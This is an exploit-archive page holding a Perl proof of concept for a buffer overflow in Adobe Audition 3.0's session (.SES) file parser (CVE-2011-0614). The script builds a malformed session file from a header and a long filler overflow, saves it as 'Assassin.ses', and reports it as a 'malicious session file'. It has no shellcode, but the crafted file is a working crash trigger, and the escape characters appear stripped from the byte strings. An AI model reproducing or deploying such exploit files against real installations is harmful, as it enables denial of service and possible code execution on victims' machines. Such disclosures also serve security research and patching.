[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
# Published : 2011-05-13
# Author :
# Previous Title : VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser
# Next Title : Simple HTTPd 1.42 Denial of Servive Exploit
#!/usr/bin/perl
#
#
# Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
#
#
# Vendor: Adobe Systems Inc.
# Product web page: http://www.adobe.com/products/audition/
# Affected version: 3.0 (build 7238)
#
# Summary: Recording, mixing, editing, and mastering ? Adobe? Audition? 3 software is the
# all-in-one toolset for professional audio production.
#
# Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES
# (session) format file. The application failz to sanitize the user input resulting in a
# memory corruption, overwriting several memory registers which can aid the atacker to gain
# the power of executing arbitrary code or denial of service.
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
#
# http://img225.imageshack.us/img225/9871/boferror.jpg
#
#
# Zero Science Lab Advisory ID: ZSL-2011-5012
# Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
#
# Adobe Advisory ID: APSB11-10
# Adobe Advisory URL: http://www.adobe.com/support/security/bulletins/apsb11-10.html
#
# CVE ID: CVE-2011-0614
#
#
# 18.09.2009
#
$data = "x43x4Fx4Fx4Cx4Ex45x53x53x50xF2x08x00".
"x68x64x72x20xF0x03x00x00x22x56x00x00".
"xFCx17x0Ax00x00x00x00x00x20x00x01x00".
"x00x00x00x00x00x00xF0x3Fx00x00x00x00".
"x00x00xF0x3Fx41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x41x41x41x41x41x41x41x41".
"x41x41x41x41x00";
$FNAME = "Assassin.ses";
print "nn[*] Creating malicious session file: $FNAME ...rn";
open(ses, ">./$FNAME") || die "naCannot open $FNAME: $!";
print ses "$data";
sleep(1);
close (ses);
print "n[*] Malicious session file successfully crafted!rnn";